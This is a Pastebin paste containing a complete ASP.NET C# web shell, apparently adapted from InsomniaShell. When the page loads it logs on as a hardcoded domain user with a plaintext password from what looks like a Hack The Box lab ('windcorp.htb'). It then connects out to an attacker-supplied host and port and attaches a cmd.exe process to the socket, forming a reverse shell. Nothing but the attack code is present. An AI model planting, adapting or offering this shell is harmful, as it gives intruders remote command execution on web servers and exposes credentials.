Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%@ Page Language="C#" %>
- <%@ Import Namespace="System.Runtime.InteropServices" %>
- <%@ Import Namespace="System.Net" %>
- <%@ Import Namespace="System.Net.Sockets" %>
- <%@ Import Namespace="System.Security.Principal" %>
- <%@ Import Namespace="System.Data.SqlClient" %>
- <%@ Import Namespace = "System.Web" %>
- <%@ Import Namespace = "System.Web.Security" %>
- <%@ Import Namespace = "System.Security.Principal" %>
- <%@ Import Namespace = "System.Runtime.InteropServices" %>
- <script runat="server">
- public const int LOGON32_LOGON_INTERACTIVE = 2;
- public const int LOGON32_PROVIDER_DEFAULT = 0;
- WindowsImpersonationContext impersonationContext;
- [DllImport("advapi32.dll")]
- public static extern int LogonUserA(String lpszUserName,
- String lpszDomain,
- String lpszPassword,
- int dwLogonType,
- int dwLogonProvider,
- ref IntPtr phToken);
- [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
- public static extern int DuplicateToken(IntPtr hToken,
- int impersonationLevel,
- ref IntPtr hNewToken);
- [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
- public static extern bool RevertToSelf();
- //Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
- //Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
- protected void Page_Load(object sender, EventArgs e)
- {
- String host = Request["LHOST"];
- int port = Convert.ToInt32(Request["LPORT"]);
- if(impersonateValidUser("BeatriceMill", "windcorp.htb", "!!!!ilovegood17"))
- {
- CallbackShell(host, port);
- }
- }
- [StructLayout(LayoutKind.Sequential)]
- public struct STARTUPINFO
- {
- public int cb;
- public String lpReserved;
- public String lpDesktop;
- public String lpTitle;
- public uint dwX;
- public uint dwY;
- public uint dwXSize;
- public uint dwYSize;
- public uint dwXCountChars;
- public uint dwYCountChars;
- public uint dwFillAttribute;
- public uint dwFlags;
- public short wShowWindow;
- public short cbReserved2;
- public IntPtr lpReserved2;
- public IntPtr hStdInput;
- public IntPtr hStdOutput;
- public IntPtr hStdError;
- }
- [StructLayout(LayoutKind.Sequential)]
- public struct PROCESS_INFORMATION
- {
- public IntPtr hProcess;
- public IntPtr hThread;
- public uint dwProcessId;
- public uint dwThreadId;
- }
- [StructLayout(LayoutKind.Sequential)]
- public struct SECURITY_ATTRIBUTES
- {
- public int Length;
- public IntPtr lpSecurityDescriptor;
- public bool bInheritHandle;
- }
- [DllImport("kernel32.dll")]
- static extern bool CreateProcess(string lpApplicationName,
- string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
- ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
- uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
- [In] ref STARTUPINFO lpStartupInfo,
- out PROCESS_INFORMATION lpProcessInformation);
- public static uint INFINITE = 0xFFFFFFFF;
- [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
- internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
- internal struct sockaddr_in
- {
- public short sin_family;
- public short sin_port;
- public int sin_addr;
- public long sin_zero;
- }
- [DllImport("kernel32.dll")]
- static extern IntPtr GetStdHandle(int nStdHandle);
- [DllImport("kernel32.dll")]
- static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
- public const int STD_INPUT_HANDLE = -10;
- public const int STD_OUTPUT_HANDLE = -11;
- public const int STD_ERROR_HANDLE = -12;
- [DllImport("kernel32")]
- static extern bool AllocConsole();
- [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
- [In] SocketType socketType,
- [In] ProtocolType protocolType,
- [In] IntPtr protocolInfo,
- [In] uint group,
- [In] int flags
- );
- [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- internal static extern int inet_addr([In] string cp);
- [DllImport("ws2_32.dll")]
- private static extern string inet_ntoa(uint ip);
- [DllImport("ws2_32.dll")]
- private static extern uint htonl(uint ip);
- [DllImport("ws2_32.dll")]
- private static extern uint ntohl(uint ip);
- [DllImport("ws2_32.dll")]
- private static extern ushort htons(ushort ip);
- [DllImport("ws2_32.dll")]
- private static extern ushort ntohs(ushort ip);
- [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
- internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
- [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- internal static extern int send(
- [In] IntPtr socketHandle,
- [In] byte[] pinnedBuffer,
- [In] int len,
- [In] SocketFlags socketFlags
- );
- [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- internal static extern int recv(
- [In] IntPtr socketHandle,
- [In] IntPtr pinnedBuffer,
- [In] int len,
- [In] SocketFlags socketFlags
- );
- [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- internal static extern int closesocket(
- [In] IntPtr socketHandle
- );
- [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- internal static extern IntPtr accept(
- [In] IntPtr socketHandle,
- [In, Out] ref sockaddr_in socketAddress,
- [In, Out] ref int socketAddressSize
- );
- [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- internal static extern int listen(
- [In] IntPtr socketHandle,
- [In] int backlog
- );
- [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- internal static extern int bind(
- [In] IntPtr socketHandle,
- [In] ref sockaddr_in socketAddress,
- [In] int socketAddressSize
- );
- public enum TOKEN_INFORMATION_CLASS
- {
- TokenUser = 1,
- TokenGroups,
- TokenPrivileges,
- TokenOwner,
- TokenPrimaryGroup,
- TokenDefaultDacl,
- TokenSource,
- TokenType,
- TokenImpersonationLevel,
- TokenStatistics,
- TokenRestrictedSids,
- TokenSessionId
- }
- [DllImport("advapi32", CharSet = CharSet.Auto)]
- public static extern bool GetTokenInformation(
- IntPtr hToken,
- TOKEN_INFORMATION_CLASS tokenInfoClass,
- IntPtr TokenInformation,
- int tokeInfoLength,
- ref int reqLength);
- public enum TOKEN_TYPE
- {
- TokenPrimary = 1,
- TokenImpersonation
- }
- public enum SECURITY_IMPERSONATION_LEVEL
- {
- SecurityAnonymous,
- SecurityIdentification,
- SecurityImpersonation,
- SecurityDelegation
- }
- [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
- public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
- ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
- String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
- [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
- public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
- const int ERROR_NO_MORE_ITEMS = 259;
- [StructLayout(LayoutKind.Sequential)]
- struct TOKEN_USER
- {
- public _SID_AND_ATTRIBUTES User;
- }
- [StructLayout(LayoutKind.Sequential)]
- public struct _SID_AND_ATTRIBUTES
- {
- public IntPtr Sid;
- public int Attributes;
- }
- [DllImport("advapi32", CharSet = CharSet.Auto)]
- public extern static bool LookupAccountSid
- (
- [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
- IntPtr pSid,
- StringBuilder Account,
- ref int cbName,
- StringBuilder DomainName,
- ref int cbDomainName,
- ref int peUse
- );
- [DllImport("advapi32", CharSet = CharSet.Auto)]
- public extern static bool ConvertSidToStringSid(
- IntPtr pSID,
- [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern bool CloseHandle(
- IntPtr hHandle);
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
- [Flags]
- public enum ProcessAccessFlags : uint
- {
- All = 0x001F0FFF,
- Terminate = 0x00000001,
- CreateThread = 0x00000002,
- VMOperation = 0x00000008,
- VMRead = 0x00000010,
- VMWrite = 0x00000020,
- DupHandle = 0x00000040,
- SetInformation = 0x00000200,
- QueryInformation = 0x00000400,
- Synchronize = 0x00100000
- }
- [DllImport("kernel32.dll")]
- static extern IntPtr GetCurrentProcess();
- [DllImport("kernel32.dll")]
- extern static IntPtr GetCurrentThread();
- [DllImport("kernel32.dll", SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
- IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
- uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
- [DllImport("psapi.dll", SetLastError = true)]
- public static extern bool EnumProcessModules(IntPtr hProcess,
- [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
- uint cb,
- [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
- [DllImport("psapi.dll")]
- static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
- public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
- public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
- public const uint PIPE_ACCESS_INBOUND = 0x00000001;
- public const uint PIPE_WAIT = 0x00000000;
- public const uint PIPE_NOWAIT = 0x00000001;
- public const uint PIPE_READMODE_BYTE = 0x00000000;
- public const uint PIPE_READMODE_MESSAGE = 0x00000002;
- public const uint PIPE_TYPE_BYTE = 0x00000000;
- public const uint PIPE_TYPE_MESSAGE = 0x00000004;
- public const uint PIPE_CLIENT_END = 0x00000000;
- public const uint PIPE_SERVER_END = 0x00000001;
- public const uint PIPE_UNLIMITED_INSTANCES = 255;
- public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
- public const uint NMPWAIT_NOWAIT = 0x00000001;
- public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
- public const uint GENERIC_READ = (0x80000000);
- public const uint GENERIC_WRITE = (0x40000000);
- public const uint GENERIC_EXECUTE = (0x20000000);
- public const uint GENERIC_ALL = (0x10000000);
- public const uint CREATE_NEW = 1;
- public const uint CREATE_ALWAYS = 2;
- public const uint OPEN_EXISTING = 3;
- public const uint OPEN_ALWAYS = 4;
- public const uint TRUNCATE_EXISTING = 5;
- public const int INVALID_HANDLE_VALUE = -1;
- public const ulong ERROR_SUCCESS = 0;
- public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
- public const ulong ERROR_PIPE_BUSY = 231;
- public const ulong ERROR_NO_DATA = 232;
- public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
- public const ulong ERROR_MORE_DATA = 234;
- public const ulong ERROR_PIPE_CONNECTED = 535;
- public const ulong ERROR_PIPE_LISTENING = 536;
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern IntPtr CreateNamedPipe(
- String lpName,
- uint dwOpenMode,
- uint dwPipeMode,
- uint nMaxInstances,
- uint nOutBufferSize,
- uint nInBufferSize,
- uint nDefaultTimeOut,
- IntPtr pipeSecurityDescriptor
- );
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern bool ConnectNamedPipe(
- IntPtr hHandle,
- uint lpOverlapped
- );
- [DllImport("Advapi32.dll", SetLastError = true)]
- public static extern bool ImpersonateNamedPipeClient(
- IntPtr hHandle);
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern bool GetNamedPipeHandleState(
- IntPtr hHandle,
- IntPtr lpState,
- IntPtr lpCurInstances,
- IntPtr lpMaxCollectionCount,
- IntPtr lpCollectDataTimeout,
- StringBuilder lpUserName,
- int nMaxUserNameSize
- );
- protected void CallbackShell(string server, int port)
- {
- string request = "Spawn Shell...\n";
- Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
- IntPtr oursocket = IntPtr.Zero;
- sockaddr_in socketinfo;
- oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
- socketinfo = new sockaddr_in();
- socketinfo.sin_family = (short) AddressFamily.InterNetwork;
- socketinfo.sin_addr = inet_addr(server);
- socketinfo.sin_port = (short) htons((ushort)port);
- connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
- send(oursocket, bytesSent, request.Length, 0);
- SpawnProcessAsPriv(oursocket);
- closesocket(oursocket);
- }
- protected void SpawnProcess(IntPtr oursocket)
- {
- bool retValue;
- string Application = Environment.GetEnvironmentVariable("comspec");
- PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
- STARTUPINFO sInfo = new STARTUPINFO();
- SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
- pSec.Length = Marshal.SizeOf(pSec);
- sInfo.dwFlags = 0x00000101;
- sInfo.hStdInput = oursocket;
- sInfo.hStdOutput = oursocket;
- sInfo.hStdError = oursocket;
- retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
- WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
- }
- protected void SpawnProcessAsPriv(IntPtr oursocket)
- {
- bool retValue;
- string Application = Environment.GetEnvironmentVariable("comspec");
- PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
- STARTUPINFO sInfo = new STARTUPINFO();
- SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
- IntPtr Token = new IntPtr(0);
- IntPtr DupedToken = new IntPtr(0);
- bool ret;
- SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
- sa.bInheritHandle = false;
- sa.Length = Marshal.SizeOf(sa);
- sa.lpSecurityDescriptor = (IntPtr)0;
- Token = WindowsIdentity.GetCurrent().Token;
- const uint GENERIC_ALL = 0x10000000;
- const int SecurityImpersonation = 2;
- const int TokenType = 1;
- ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
- pSec.Length = Marshal.SizeOf(pSec);
- sInfo.dwFlags = 0x00000101;
- IntPtr DupeToken = new IntPtr(0);
- sInfo.hStdInput = oursocket;
- sInfo.hStdOutput = oursocket;
- sInfo.hStdError = oursocket;
- if (DupedToken == IntPtr.Zero)
- retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
- else
- retValue = CreateProcessAsUser(DupedToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
- WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
- CloseHandle(DupedToken);
- }
- private bool impersonateValidUser(String userName, String domain, String password)
- {
- WindowsIdentity tempWindowsIdentity;
- IntPtr token = IntPtr.Zero;
- IntPtr tokenDuplicate = IntPtr.Zero;
- if(RevertToSelf())
- {
- if(LogonUserA(userName, domain, password, LOGON32_LOGON_INTERACTIVE,
- LOGON32_PROVIDER_DEFAULT, ref token)!= 0)
- {
- if(DuplicateToken(token, 2, ref tokenDuplicate)!= 0)
- {
- tempWindowsIdentity = new WindowsIdentity(tokenDuplicate);
- impersonationContext = tempWindowsIdentity.Impersonate();
- if (impersonationContext != null)
- {
- CloseHandle(token);
- CloseHandle(tokenDuplicate);
- return true;
- }
- }
- }
- }
- if(token!= IntPtr.Zero)
- CloseHandle(token);
- if(tokenDuplicate!=IntPtr.Zero)
- CloseHandle(tokenDuplicate);
- return false;
- }
- private void undoImpersonation()
- {
- impersonationContext.Undo();
- }
- </script>
Add Comment
Please, Sign In to add comment